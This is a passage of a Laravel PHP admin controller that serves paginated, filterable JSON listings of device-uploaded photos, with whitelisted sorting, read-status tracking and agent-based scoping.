isAgentPortal() ? collect() : User::query()->orderBy('username')->get(['id', 'username']); return view('admin.photos.index', [ 'portal' => $this->portal(), 'agents' => $agents, ]); } public function data(Request $request) { $q = $this->baseQuery($request); $sortable = ['id', 'size', 'x_hit', 'created_at']; $field = (string) $request->query('field', 'id'); $order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc'; if (! in_array($field, $sortable, true)) { $field = 'id'; } $q->orderBy('photos.'.$field, $order); $limit = max(1, min(100, (int) $request->query('limit', 20))); $page = max(1, (int) $request->query('page', 1)); $paginator = $q->paginate($limit, ['*'], 'page', $page); $portal = $this->portal(); [$guard, $actorId] = $this->viewerActor(); $readIds = ($guard !== null && $actorId !== null) ? PhotoRead::readPhotoIds($guard, $actorId, $paginator->getCollection()->pluck('id')->all()) : []; $data = collect($paginator->items())->map(function ($row) use ($portal, $readIds) { return [ 'id' => $row->id, 'device_key' => $row->device_key ?: '', 'channel_id' => $row->device_channel_id ?: '', 'url' => route($portal.'.devices.photo', [$row->device_id, $row->id]), 'size' => $row->size, 'x_hit' => $row->x_hit, 'read' => in_array((int) $row->id, $readIds, true) ? 1 : 0, 'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'), 'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'photos']), ]; })->values(); return response()->json([ 'code' => 0, 'msg' => '', 'count' => $paginator->total(), 'data' => $data, ]); } private function baseQuery(Request $request): Builder { $q = Photo::query() ->join('devices', 'devices.id', '=', 'photos.device_id') ->select([ 'photos.*', 'devices.device_id as device_key', 'devices.channel_id as device_channel_id', ]); AgentScope::applyDeviceChannelScope($q, $this->agent()); $channelId = trim((string) $request->query('channel_id', '')); $deviceKey = trim((string) $request->query('device_key', '')); if ($channelId !== '') { $q->where('devices.channel_id', 'like', '%'.$channelId.'%'); } if ($deviceKey !== '') { $q->where('devices.device_id', 'like', '%'.$deviceKey.'%'); } if ((string) $request->query('sensitive', '') === '1') { $q->where('photos.x_hit', '>', 0); } [$guard, $actorId] = $this->viewerActor(); if ($guard !== null && $actorId !== null) { PhotoRead::applyFilter($q, $guard, $actorId, 'photos.id', $request->query('read')); } if (! $this->isAgentPortal()) { AgentScope::applyAgentUserFilter( $q, AgentScope::parseAgentUserIdFilter($request->query('agent_user_id')) ); } return $q; } }